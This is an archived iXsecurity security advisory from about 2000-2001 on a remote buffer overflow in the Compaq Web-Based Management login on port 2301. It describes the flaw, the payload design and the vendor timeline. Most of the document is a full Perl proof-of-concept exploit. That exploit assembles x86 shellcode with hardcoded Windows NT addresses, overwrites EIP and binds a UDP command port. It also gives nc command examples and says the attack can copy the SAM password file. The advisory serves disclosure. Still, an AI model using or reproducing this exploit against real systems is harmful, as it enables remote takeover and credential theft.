[ SOURCE: http://www.secureroot.com/security/advisories/9796632796.html ] iXsecurity Security Vulnerability Report No: iXsecurity.20001120.compaq-authbo.a ======================================= Vulnerability Summary --------------------- Problem: The authentication of Compaq Web-Based Management contains a remotely exploitable buffer overflow Threat: Anyone that has access to port 2301 on a Windows NT server can run arbitrary code as Administrators (like RDS) Affected Software: Compaq Management Agents (Software version 4.70 verified) Verified Platforms: Windows NT SP3 and SP6a Solution: Install patch Vulnerability Description ------------------------- http://Server.with.CWBM:2301/cpqlogin.htm is accessible for everyone by default and contains a remotely exploitable buffer overflow. Additional Vulnerability Information ------------------------------------ Compaq Management Agents and Compaq Web-Based Management is installed by default using the SmartStart CD. The Web-Based Management binds to port 2301 and the java applet (on http://IP:2301/cpqlogin.htm) that is used for an user to log in, sends username and encrypted password to http://IP:2301/Proxy/LoginResponse. Injection Due to the lack of bounds checking, the user name sent to this URL can be used to overwrite the EIP. This happens when the user name is exactly 460 bytes long. If the user name is more than 460 bytes, but less than (about) 1500 bytes, another overflow occurs that we cannot currently exploit. If the user name is over 1500 bytes, an error message is returned! This is interesting, because it seems like there is *some* kind of bounds checking after all. It just doesn't work properly. Before the fatal return instruction, there is a POP EBP, so EBP is also overwritten. Our initial research indicates that the stack for this process is always placed at the virtual address 0x00fdffff (on Windows NT SP3) and growing up towards lower addresses (as usual). At the moment, we use this fact to do a direct jump to the assumed beginning of the buffer. Since we are way below 452 bytes, we use the spare bytes in the beginning for a NOP sled. Payload With this setup, we have a maximum of 452 bytes to use for the payload. Barnaby Jack's frequently used (and very nice) payload vector is closer to 600 bytes, so we take a slightly different approach. First, we use a datagram socket instead of a stream socket. That saves us a few bytes. Then we don't use anonymous pipes and don't return anything to the client. That makes it less user friendly, but saves us a lot of bytes. Finally, we use WinExec instead of creating a cmd.exe process. This saves some bytes. Eventually this affects our rights, but we can at least still run rdisk and copy the sam file. That takes us a long way in proof-of-concept terms. Using this approach we are aldready way below our 453 byte limit. Actually this code is about 256 bytes. Happy about reaching the goal directly, we have not even tried to optimized the code. Therefore it will be easy to get it even smaller if it is necessary. Drop us a line if you do it or if you need any help to do it. Other Information ----------------- Some Compaq installations have ports 49400 and 49401 open too. These ports are not verified. This vulnerability has already been reported to the Securityfocus Vulnerability Database: http://www.securityfocus.com/bid/2200 Vendor contacts and solution ---------------------------- 11/12-2000 Compaq wants iXsecurity to 'Contact your local Compaq Worldwide office for escalation'. TRACKING NUMBER: A00000399318-00001263158. 2/1-2001 Escalated Case id SSRT0705 CIM Buffer overflow. 5/1-2001 Compaq choose not to attribute the discovery to iXsecurity. 10/1-2001 Solution Compaq Advisory located: http://www.compaq.com/products/servers/management/agentsecurity.html Greetings and credits --------------------- Greg Höglund, as always when it comes to NT buffer overflows. Barnaby Jack, for another great paper on the subject. David Litchfield, for yet another great paper. Obecian & Qwerty of Subterrain and Caezar of the Ghettohackers. ----------------------------------------------- Ian Vitek, mailto:ian.vitek@ixsecurity.com Anders Ingeborn, mailto:ingeborn@ixsecurity.com ----------------------------------------------------- iXsecurity (formerly Infosec) is a Swedish and United Kingdom based tigerteam that has worked with computer- related security since 1982. We have done technical security audits (pentests) since 1996. iXsecurity is now searching for co-workers in Sweden and in the UK. Please call Christer Stafferod for more information phone: +46-8-6621070 mailto:christer.stafferod@ixsecurity.com ===================== Proof of concept code --------------------- Comments This Perl script uses MD5. This code is using direct jumps. It may not work on your system. It has only been tested on Windows NT SP3 and SP6a. When investigating iXsecurity found the password hash algorithm. This algorithm is used in the code to create logon cookies. iXsecurity have written a Compaq cookie password cracker using this algorithm and posted it to Bugtraq. Bugtraq have chosen not to publish this tool. ==================== #!/usr/bin/perl $ver = "Comphack 1.3 -- iXsecurity Sweden, December 2000"; $code = "Ian Vitek, ian.vitek\@ixsecurity.com"; $asm = "Anders Ingeborn, ingeborn\@ixsecurity.com"; $spam = "We are now hiring in Sweden and United Kingdom"; $|=1; use MD5; use Socket; require 'getopts.pl'; # Modified Sendraw - thanx RFP rfp@wiretrip.net sub sendraw { # this saves the whole transaction anyway my ($pstr)=@_; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ my @in; select(S); $|=1; print $pstr; sleep 20 if($exp); while(){ push @in, $_;} # Messing up FH 8) Dirty? Yupp! # Try to figure out why # Clue: Windows select($undef); close(S); return @in; } else { die("\n Can't connect...\n"); } } Getopts('s:p:P:m:h'); print "\n$ver\n Perlcode: $code\n ASM code: $asm\n"; die " $spam\n\ usage: $0 -s [options] \ \t-s Host with Compaq Web Manager\ \t-p Port (Def: 2301)\ \t-P CMD.EXE port (Def: 23001)\ \t-m [3|6] Service Pack (Def: 3)\ \t-h This help\n\ Then send commands to port 23001/udp like this:\ echo \"cmd /c mkdir c:\\iXsecurity\" | nc -u 23001\n\n" if ( $opt_h || ! $opt_s || ! ( $opt_m==3 || $opt_m==6 || $opt_m eq "" ) ); $httphead="Referer: http://${opt_s}:2301/\ Connection: Keep-Alive\ User-Agent: Mozilla/4.73 [en] (X11; U; Linux 2.2.16 i686)\ Host: ${opt_s}:2301\ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\ Accept-Encoding: gzip\ Accept-Language: en\ Accept-Charset: iso-8859-1,*,utf-8"; $opt_p = 2301 if(!$opt_p); $port = $opt_p; $opt_P = 23001 if(!$opt_P); $opt_P=$opt_P % 65536; die " int(CMDport/256) or (CMDport % 256) may not be 65!\n\n" if (int($opt_P/256)==65 || ($opt_P % 256)==65); $var1=int($opt_P/256) ^ 65; $var2=($opt_P %256) ^ 65; $CMDport=sprintf("%s%s",chr($var1),chr($var2)); $target = inet_aton($opt_s); $r = "\x0D\x0A"; $opt_m = 3 if(!$opt_m); $offset="\xfd"; $offset="\xfa" if($opt_m==6); $m = $opt_m; $exp=0; ## NOP sled $payload = ""; $i = 0; while( $i++ <= 207 ) { $payload .= "\x90"; } $payload .= "\xbc\x41\x54\xf6$offset"; #qd4 $payload .= "\xc1\xec\x08"; #qd4 $payload .= "\xc1\xed\x08"; #qd3 $payload .= "\x31\xc9"; $payload .= "\x81\xc1\x41\x41\x41\x52"; $payload .= "\xc1\xe9\x18"; $payload .= "\x80\x74\x29\x01\x41"; #qd1 $payload .= "\xe2\xf9"; $payload .= "\x8d\x45\x02"; $payload .= "\x50"; #LoadLibrary if( $m == "3" ) #NT4SP3 { $payload .= "\xb8\x56\x37\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xb8\xc9\x37\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xb8\xbd\x37\xf1\x77"; } $payload .= "\xff\xd0"; $payload .= "\x89\xc3"; #GetProcAddress if( $m == "3" ) #NT4SP3 { $payload .= "\xbe\x57\x3f\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xbe\xca\x3f\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xbe\xb3\x3f\xf1\x77"; } $payload .= "\x8d\x45\x09"; #qd2 $payload .= "\x40"; #qd2 $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x11"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x16"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x8d\x45\x1f"; $payload .= "\x50"; #LoadLibrary if( $m == "3" ) #NT4SP3 { $payload .= "\xb8\x56\x37\xf1\x77"; } if( $m == "5" ) #NT4SP5 { $payload .= "\xb8\xc9\x37\xf1\x77"; } if( $m == "6" ) #NT4SP6 { $payload .= "\xb8\xbd\x37\xf1\x77"; } $payload .= "\xff\xd0"; $payload .= "\x89\xc3"; $payload .= "\x8d\x45\x28"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\xd6"; $payload .= "\xab"; $payload .= "\x31\xc0"; $payload .= "\x50"; $payload .= "\x40"; $payload .= "\x40"; $payload .= "\x50"; $payload .= "\x50"; $payload .= "\xff\x57\xf0"; $payload .= "\x89\xc3"; $payload .= "\x6a\x10"; $payload .= "\x8d\x45\x30"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\x57\xf4"; $payload .= "\x8d\x45\x50"; $payload .= "\x50"; $payload .= "\x8d\x45\x40"; $payload .= "\x50"; $payload .= "\x31\xc0"; $payload .= "\x50"; $payload .= "\x6a\x7f"; $payload .= "\x8d\x07"; $payload .= "\x50"; $payload .= "\x53"; $payload .= "\xff\x57\xf8"; $payload .= "\x3c\x06"; $payload .= "\x0f\x8e\xe4\xff\xff\xff"; $payload .= "\x80\x64\x07\xff\x01"; $payload .= "\x8d\x07"; $payload .= "\x50"; $payload .= "\xff\x57\xfc"; $payload .= "\x39\xc0"; $payload .= "\x0f\x84\xd1\xff\xff\xff"; #data xor:ed with A $payload .= "\x36\x32\x2e\x22\x2a\x72\x73\x41"; $payload .= "\x32\x2e\x22\x2a\x24\x35\x41"; $payload .= "\x23\x28\x2f\x25\x41"; $payload .= "\x33\x24\x22\x37\x27\x33\x2e\x2c\x41"; $payload .= "\x2a\x24\x33\x2f\x24\x2d\x72\x73\x41"; $payload .= "\x16\x28\x2f\x04\x39\x24\x22\x41"; $payload .= "\x43\x41"; # CMDport xored with x41x41 $payload .= $CMDport; $payload .= "\x41\x41\x41\x41"; $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41"; $payload .= "\x41\x41"; $payload .= "\x41\x41"; $payload .= "\x41\x41\x41\x41"; $payload .= "\x41\x41\x41\x41\x41\x41\x41\x41"; $payload .= "\x51\x41\x41\x41"; $ebp = "\x41\xc4\xf7$offset"; # Try to do a direct jump, cross your fingers $eip = "\x54\xf6$offset\x00"; $payload = $payload.$ebp.$eip; print "\n Init by logging in as ixsecurity:is_hiring\n"; print " Trying to bind CMD.EXE to UDP port $opt_P\n"; print " Wait 10 seconds. Try then the command:\n"; print " echo \"cmd /c mkdir c:\\cim_bo\" | nc -u $opt_s $opt_P\n"; &cpqlogin("ixsecurity","is_hiring"); &sendexp; sub cpqlogin { $cpquser=$_[0]; $cpqpass=$_[1]; # Get loginpage and cookie @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { # Rebuild cookie to password respond $tmp=$2; $tmp++; $ccoo="$1$tmp$3"; } } $stringUserPass=$cpquser . ":" . $cpqpass; $md5StringUserPass=uc MD5->hexhash($stringUserPass); $loginCookie1=$ccoo . $cpquser . $md5StringUserPass; $md5LoginCookie=uc MD5->hexhash($loginCookie1); $ccoo.=$md5LoginCookie; # Login @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $cpquser$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { $ccoon="$1$2$3"; } } sleep 2; # Do some surfing @res = sendraw("GET / HTTP/1.0${r}${httphead}${r}Cookie: $ccoon$r$r"); sleep 2; } sub sendexp { # Get loginpage and fresh cookie @res = sendraw("GET /cpqlogin.htm HTTP/1.0${r}${httphead}$r$r"); foreach $line (@res) { if($line=~/Set-Cookie: ([^;]{35})(\w)([^;]+);/) { # Rebuild cookie to password respond $tmp=$2; $tmp++; $ccoo="$1$tmp$3"; } } $stringUserPass="iXsecurity" . ":" . "iXsecurity"; $md5StringUserPass=uc MD5->hexhash($stringUserPass); $loginCookie1=$ccoo . "iXsecurity" . $md5StringUserPass; $md5LoginCookie=uc MD5->hexhash($loginCookie1); $ccoo.=$md5LoginCookie; $exp=1; # Send buffer... @res = sendraw("GET /Proxy/LoginResponse HTTP/1.0${r}Accept: */*${r}Cookie: ${ccoo}${r}Compaq-WBEM-UserName: $payload$r$r"); die " $0 failed!\n\n" if($res[0]=~/HTTP/); die " Port $opt_P is now closed or $0 failed!\n\n"; }